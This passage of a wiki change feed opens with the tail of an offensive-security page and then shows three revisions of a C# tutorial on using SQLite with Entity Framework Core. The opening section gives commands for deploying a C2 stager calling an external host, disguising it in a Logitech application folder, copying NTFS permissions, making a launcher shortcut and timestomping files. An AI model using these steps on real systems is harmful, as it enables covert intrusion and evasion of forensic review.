&lt;br /&gt;
mount | grep bitlocker&lt;br /&gt;
&lt;br /&gt;
sudo umount /media/bitlocker_mount&lt;br /&gt;
sudo umount /media/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deploying Stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
stagers create-http NodeNative net481 https://logic-update.azure-api.net \&lt;br /&gt;
  --filename UserCache \&lt;br /&gt;
  --userAgent &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy the &amp;lt;code&amp;gt;UserCache&amp;lt;/code&amp;gt; file to the LogiOptionsPlus folder, then copy the content to the target under:&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Users\username\AppData\Local\&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Setting File Permissions ===&lt;br /&gt;
&lt;br /&gt;
Find an existing file from the target user directory and save its permissions:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
getfattr -n system.ntfs_acl -e hex ../../Downloads/desktop.ini &amp;gt; perms.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apply those permissions to all files in the LogiOptionsPlus folder:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find . -exec setfattr -n system.ntfs_acl -v \&lt;br /&gt;
  &amp;quot;$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d&#039;=&#039; -f2 | head -n2 | tail -n1)&amp;quot; {} \;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify permissions:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ntfssecaudit ffmpeg.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Creating LNK File ===&lt;br /&gt;
&lt;br /&gt;
Using [https://raw.githubusercontent.com/ehusby/mslink/refs/heads/main/mslink_v1.3.sh mslink]:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/alaa/mslink_v1.3.sh \&lt;br /&gt;
  -o logioptionsplus.lnk \&lt;br /&gt;
  -w &#039;C:\Users\domainusers\AppData\Local\LogiOptionsPlus&#039; \&lt;br /&gt;
  -l &#039;C:\Users\domainusers\AppData\Local\LogiOptionsPlus\logioptionsplus.exe&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apply permissions to the LNK file as well:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
setfattr -n system.ntfs_acl -v \&lt;br /&gt;
  &amp;quot;$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d&#039;=&#039; -f2 | head -n2 | tail -n1)&amp;quot; \&lt;br /&gt;
  logioptionsplus.lnk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Timestomping ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
touch -d &amp;quot;2 hours ago&amp;quot; filename&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Offensive Security]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2307</id>
		<title>Programming/Use SQLite in Csharp</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2307"/>
		<updated>2026-02-17T23:45:47Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Use in C# */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== SQLite == &lt;br /&gt;
SQLite is a lightweight relational database that requires minimal system resources.&lt;br /&gt;
&lt;br /&gt;
== Use in C# == &lt;br /&gt;
To use SQLite in your C# project you first need to install &#039;&#039;Sqlite&#039;&#039; packages from EntityFrameworkCore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dotnet add package Microsoft.EntityFrameworkCore.Sqlite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create a &#039;&#039;DBContext&#039;&#039; class.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
﻿using Microsoft.EntityFrameworkCore;   // EF Core namespace&lt;br /&gt;
&lt;br /&gt;
namespace SQLiteExampleTest&lt;br /&gt;
{&lt;br /&gt;
    public class DBContext : DbContext    // Custom EF Core context&lt;br /&gt;
    {&lt;br /&gt;
        public DBContext()&lt;br /&gt;
        {&lt;br /&gt;
            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=MyDdatabase.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;BloggingContext&amp;gt;(options =&amp;gt; options.UseSqlite(connectionString))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2306</id>
		<title>Programming/Use SQLite in Csharp</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2306"/>
		<updated>2026-02-17T23:45:22Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Use in C# */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== SQLite == &lt;br /&gt;
SQLite is a lightweight relational database that requires minimal system resources.&lt;br /&gt;
&lt;br /&gt;
== Use in C# == &lt;br /&gt;
To use SQLite in your C# project you first need to install &#039;&#039;Sqlite&#039;&#039; packages from EntityFrameworkCore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dotnet add package Microsoft.EntityFrameworkCore.Sqlite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create a &#039;&#039;DBContext&#039;&#039; class.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
﻿using Microsoft.EntityFrameworkCore;   // EF Core namespace&lt;br /&gt;
&lt;br /&gt;
namespace SQLiteExampleTest&lt;br /&gt;
{&lt;br /&gt;
    public class DBContext : DbContext    // Custom EF Core context&lt;br /&gt;
    {&lt;br /&gt;
        public DBContext()&lt;br /&gt;
        {&lt;br /&gt;
            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=C:\Users\agh\Documents\SQLite\thehuman.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;BloggingContext&amp;gt;(options =&amp;gt; options.UseSqlite(connectionString))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2304</id>
		<title>Programming/Use SQLite in Csharp</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2304"/>
		<updated>2026-02-17T23:12:36Z</updated>

		<summary type="html">&lt;p&gt;Administrator: Administrator moved page Programming/Use SQLite in C to Programming/Use SQLite in Csharp&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== SQLite == &lt;br /&gt;
SQLite is a lightweight relational database that requires minimal system resources.&lt;br /&gt;
&lt;br /&gt;
== Use in C# == &lt;br /&gt;
To use SQLite in your C# project you first need to install &#039;&#039;Sqlite&#039;&#039; packages from EntityFrameworkCore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dotnet add package Microsoft.EntityFrameworkCore.Sqlite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create a &#039;&#039;DBContext&#039;&#039; class, such as the one below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
    public class DBContext : DbContext    // Custom EF Core context&lt;br /&gt;
    {&lt;br /&gt;
        public DBContext()&lt;br /&gt;
        {&lt;br /&gt;
            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=People.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;BloggingContext&amp;gt;(options =&amp;gt; options.UseSqlite(connectionString))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
</feed>